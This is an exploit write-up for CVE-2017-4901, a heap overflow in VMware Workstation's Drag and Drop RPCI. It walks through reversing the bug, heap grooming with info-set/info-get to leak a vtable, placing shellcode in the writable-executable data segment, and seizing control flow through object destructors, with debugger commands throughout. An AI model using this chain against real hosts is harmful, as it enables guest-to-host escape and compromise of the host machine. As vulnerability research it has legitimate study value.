How-To-Exploit-CVE-2017-4901

Introduction

Recently , THIS ARTICLE was published. After learning from this great post,I decide to try if I could make it.

Backdoor

Backdoor is a communicate mechanism between VMware host and Guest.Actually we don't need to know how it works internally.

Let's see how open-vm-tools do it. Here is the code.

Here is implementation in intel asm syntax.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT
{
_asm {
mov eax, myBp;
push eax;
mov edi, [eax + 20];
mov esi, [eax + 16];
mov edx, [eax + 12];
mov ecx, [eax + 8];
mov ebx, [eax + 4];
mov eax, [eax];
in eax, dx;
xchg[esp], eax;
mov[eax + 20], edi;
mov[eax + 16], esi;
mov[eax + 12], edx;
mov[eax + 8], ecx;
mov[eax + 4], ebx;
pop dword ptr [eax];
};
}

Normally this "in" instruction will just kill the process because we cannot execute privileged instruction in unprivileged environment.

But in vmware guest,vmware is able to capture this exception and handle it.

The RPCI is built on top of the aforementioned backdoor and basically allows a guest to issue requests to the host to perform certain operations.This link show how open-vm-tools do it.

Since we are able to invoke RPCI as normal user in guest os ,so admin privileges aren't required.

Bug in Drag and Drop RPCI

This vulnerability exists in DnD version 3.

Ida shows it clearly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
char __fastcall DnD_TransportBufAppendPacket(DnDTransportBuffer *a1, packet *a2, unsigned __int64 a3)
{
DnDTransportBuffer *v3; // [email protected]
__int64 v4; // [email protected]
packet *v5; // [email protected]
int v6; // [email protected]
int v7; // [email protected]
__int64 v8; // [email protected]
__int64 v9; // [email protected]
char result; // [email protected]

v3 = a1;
v4 = a2->payloadSize;
v5 = a2;
if ( a3 != v4 + 20 )
goto LABEL_12;
if ( a3 > 0xFF9C )
goto LABEL_12;
v6 = a2->offset;
v7 = a2->totalSize;
if ( v6 + (signed int)v4 > (unsigned int)v7 || (unsigned int)v7 > 0x3FFFF3 )
goto LABEL_12;
if ( v3->seq != v5->seq )
sub_4F0430((__int64)v3);
if ( !v3->buffer )
{
if ( v5->offset )
goto LABEL_12;
v3->buffer = my_malloc(v5->totalSize); // alloc here
v3->totalSize = v5->totalSize;
v8 = v5->seq;
v3->offset = 0i64;
v3->seq = v8;
}
v9 = v3->offset;
if ( v9 == v5->offset )
{
memcpy((char *)v3->buffer + v9, v5->payload, v5->payloadSize);// bug here
result = 1;
v3->offset += v5->payloadSize;
return result;
}
LABEL_12:
free(v3->buffer);
v3->buffer = 0i64;
v3->seq = 0i64;
v3->totalSize = 0i64;
v3->offset = 0i64;
v3->lastUpdateTime = 0i64;
return 0;
}

Code above indicates nothing checks on totalsize property, so what will happen if we enlarge the totalsize in second packet?

Reversing

It is needed to mention that my vmware-vmx.exe version is 12.5.2.13578, workstation's is 12.5.2-build4638234.

From xref results of string "tools.capability.dnd_version",we could find corresponding handle function of this RPCI command easily.

1
2
3
4
5
6
7
8
9
10
bindfun(31, "printerSetDisable", "tools.capability.printer_set", sub_83BA0, 0i64);
bindfun(34, "ptrGrabDisable", "vmx.capability.ptr_grab_notification", sub_88130, (__int64)&qword_B87338);
bindfun(37, "hgfsServerSetDisable", "tools.capability.hgfs_server", sub_83DF0, 0i64);
bindfun(32, "openUrlDisable", "tools.capability.open_url", sub_83C60, 0i64);
bindfun(33, "autoUpgradeDisable", "tools.capability.auto_upgrade", sub_83D20, 0i64);
bindfun(52, "guestTempDirectoryDisable", "tools.capability.guest_temp_directory", sub_854A0, 0i64);
bindfun(66, "guestConfDirectoryDisable", "tools.capability.guest_conf_directory", sub_85F10, 0i64);
bindfun(41, "guestDnDVersionSetDisable", "tools.capability.dnd_version", dndversionset, 0i64);
bindfun(42, "vmxDnDVersionGetDisable", "vmx.capability.dnd_version", vmxDndVer, 0i64);
bindfun(43, "guestCopyPasteVersionSetDisable", "tools.capability.copypaste_version", sub_83F80, 0i64);

The fourth parameter of bindfun is the corresponding handler of the RPCI command in third parameter.

All the RPCI handler defines in same way:

1
char __usercall handler(__int64 a1, __int64 a2, __int64 requ, __int64 requestlen, char **reply, __int64 *replylen)

  • First parameter is the fifth parameter in bindfun.
  • Second parameter is unknow for now :).
  • Third parameter is original RPCI request guest system sent.
  • Fourth parameter is the length of original RPCI request.
  • Fifth parameter is the reply addr.
  • Sixth parameter is the length of reply.

Handler of RPCI command "vmx.capability.dnd_version" checks if current dnd version corresponds the version in data segment (set by RPCI "tools.capability.dnd_version"). New object will be created if version mismatched.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
char __fastcall vmxDndVer(__int64 a1, __int64 a2, __int64 a3, int a4, const char **a5, _DWORD *a6)
{
char result; // [email protected]
__int64 v7; // [email protected]
signed int ver; // [sp+48h] [bp+20h]@3

if ( a4 )
{
result = setreply(a5, a6, "No argument expected", 0);
}
else
{
if ( (signed int)sub_410700((__int64)vmdbmain, (__int64)"vmx/dnd/cap/dndGuestVersion", &ver) < 0
|| (v7 = (unsigned int)ver, ver < 2)
|| (signed int)v7 > 4 )
{
v7 = 4i64;
ver = 4;
}
my_sprintf_0(currentDndVer, 4i64, (__int64)"%d", v7);
UpdateDndCpVer(ver); // update and create new object
result = setreply(a5, a6, currentDndVer, 1);
}
return result;
}

The size of dnd object(version 3) is 0xa8, so as cp object.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall initialCPObject(__int64 a1, int ver)
{
........
if ( v6 == 1 ) // version 3
{
v8 = j_my_malloc(0xA8ui64);
if ( v8 )
{
v11 = initCP((__int64)v8, v2, 4);
LABEL_12:
v4 = v11;
goto LABEL_13;
}
goto LABEL_13;
}
..........
}

Exploitation

Amat suggests to use RPCI command pair "info-set" and "info-get" to leak data from heap.The inner structure of "info-set" command handler is quite complicated. After debugging in windbg, I realize that we can create a buffer with 0xa8 size by "info-set guestinfo.test1 "+"a"*0xa7.

During the "info-set" function, buffer allocation with size 0xa8 appears multiply times (more than 10),almost all buffers are freed except one. That indicates the "info-set" command will strongly interfere the heap layout.

I'm not good at defeating LFH in windows, so I cannot guarantee the successfully rate of exploitation.In fact, I didn't solve it nicely in the heap "fengshui".Most time is pray-after-free.

Here is the heap layout we want:

1
2
3
4
5
-----------          -----------          -----------
| |overflow | info-set|overflow | DnD/CP |
| Vuln |--------->| value |--------->| Object |
| buffer | | buffer | | buffer |
----------- ----------- -----------

If you fail to build this layout, exploit will crash the vmware-vmx.exe in most situation.

If you fail to build this layout and you are currently debugging with windbg, congratulations, the whole host system will stuck but you are able to move your cursor very very slowly to windbg command window and press F5.(unknow bug)

I had written a simple script to print the object address , saved as dumprax.py.

1
2
3
4
5
6
from pykd import *
import sys
s=''
if len(sys.argv)>1:
s=sys.argv[1]+' '
print s+'Object at '+hex(reg('rax'))

With this script you are able to use the command below to set series breakpoints quickly.

1
bp 7FF7E394C4D8 "!py dumprax DnD;gc;";bp 7FF7E394BF68 "!py dumprax CP;gc;";bp 7FF7E3DA05AB "!py dumprax vuln;gc;";bp 7FF7E3DA05DB;bp 7ff7e38c1b2d;bp 7ff7`e38f1dc2;g

  • First breakpoint is the next instruction after the dnd object allocation.
  • Second is the next instruction after the cp object allocation.
  • Third is the next instruction after the vuln buffer allocation.
  • Fourth is where the vulnerability is.
  • Fifth and Sixth are gadgets.

Tips:

  • Program changes the base address only if you restart your computer.

"info-get" command will let us know whether we overwrite the contents in "info-set value buffer" successfully.After that ,we are able to leak the vtable pointer in object.

DnD object overwritten

The upper level function of DnD_TransportBufAppendPacket will call vtable instantly after overwritten, so we need to ensure all things right before the overwritten.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000004FEA06                 test    rax, rax
.text:00000000004FEA09 jz short loc_4FE9E3
.text:00000000004FEA0B mov rcx, [rbx+8]
.text:00000000004FEA0F mov r8, [rsp+28h+Memory]
.text:00000000004FEA14 mov r9, rax
.text:00000000004FEA17 mov r10, [rcx]
.text:00000000004FEA1A xor edx, edx
.text:00000000004FEA1C call qword ptr [r10+10h] ; vtable call
.text:00000000004FEA20 test al, al
.text:00000000004FEA22 jnz short loc_4FEA2D
.text:00000000004FEA24 lea rcx, [rbx+40h]
.text:00000000004FEA28 call sub_4F0430
.text:00000000004FEA2D
.text:00000000004FEA2D loc_4FEA2D: ; CODE XREF: sub_4FE960+C2j
.text:00000000004FEA2D mov rcx, [rsp+28h+Memory] ; Memory
.text:00000000004FEA32 call cs:__imp_free
.text:00000000004FEA38 mov rdi, [rsp+28h+arg_0]

The RPCI command "unity.window.contents.start" will create a buffer with specified size in heap, and "unity.window.contents.chunk" is able to store some data into this buffer.

1
NOTE: The parameter of this two unity command need to serialized correctly.

Surprisingly,the data segment of vmware-vmx.exe has rwx attribute! Just copy shellcode to data segment and jump to it!

CP Object overwritten

VMware will invoke destructor while freeing CP object, that's how we gain the rip control.

We can write a QWORD through RPCI command "unity.window.contents.start" to data segment.We know the global variable address because we have leaked the base address.

Setting back the CP version will call the destructor of CP object, and we win!

Final words

"Talk is cheap, show me the code".

Here is exploit code you need. All stuffs included.